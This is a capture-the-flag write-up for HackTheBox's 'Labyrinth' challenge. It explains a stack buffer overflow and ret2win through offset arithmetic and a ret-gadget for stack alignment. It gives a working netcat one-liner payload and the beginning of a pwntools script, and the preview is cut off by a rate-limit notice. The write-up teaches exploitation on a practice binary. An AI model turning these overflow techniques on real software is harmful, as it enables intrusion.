pwnfreeeasy
Labyrinth
HackTheBox
You find yourself trapped in a mysterious labyrinth, with only one chance to escape. Choose the correct door wisely, for the wrong choice could have deadly consequences.
$ ls tags/ techniques/
stack_alignmentret2winbuffer_overflowreturn_address_overwrite
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
Labyrinth - HackTheBox
Description
You find yourself trapped in a mysterious labyrinth, with only one chance to escape. Choose the correct door wisely, for the wrong choice could have deadly consequences.
Binary Analysis
File: ELF 64-bit executable, not stripped
Security:
- No PIE (fixed addresses)
- No stack canary
- NX enabled (no shellcode execution)
- Full RELRO
Key findings:
- Function
escape_planat0x401255reads and printsflag.txt - This is a classic ret2win scenario
Vulnerability
- Program displays 100 doors and asks user to select one
- Selecting door 69 triggers special path: "Fly like a bird and be free!"
- Program asks if user wants to change choice
- Second input uses
fgets(s, 0x44, stdin)- reads 68 bytes - Buffer
sis atrbp-0x30(48 bytes from rbp)
Buffer overflow math:
- Buffer size: 48 bytes
- Read size: 68 bytes (0x44)
- Overflow: 20 bytes
- Offset to return address: 48 (buffer) + 8 (saved rbp) = 56 bytes
Exploitation Strategy
- Select door 69 to reach vulnerable code path
- Overflow buffer to overwrite return address
- Use
retgadget (0x401016) for 16-byte stack alignment (x86_64 ABI requirement) - Jump to
escape_planfunction to print flag
Solution
Bash one-liner
(echo '69'; sleep 1; printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10\x40\x00\x00\x00\x00\x00\x55\x12\x40\x00\x00\x00\x00\x00'; sleep 3) | nc TARGET_IP TARGET_PORT
Pwntools exploit
#!/usr/bin/env python3 from pwn import * # Connection p = remote('TARGET_IP', TARGET_PORT) # p = process('./labyrinth') # for local testing # Select door 69 to reach vulnerable path p.sendlineafter(b'>> ', b'69') ...
$ grep --similar
Similar writeups
- [pwn][free]0xDiablos— hackthebox
- [pwn][free]Getting Started— hackthebox
- [pwn][free]Regularity— hackthebox
- [pwn][free]Portaloo— hackthebox
- [pwn][Pro]rbp— spbctf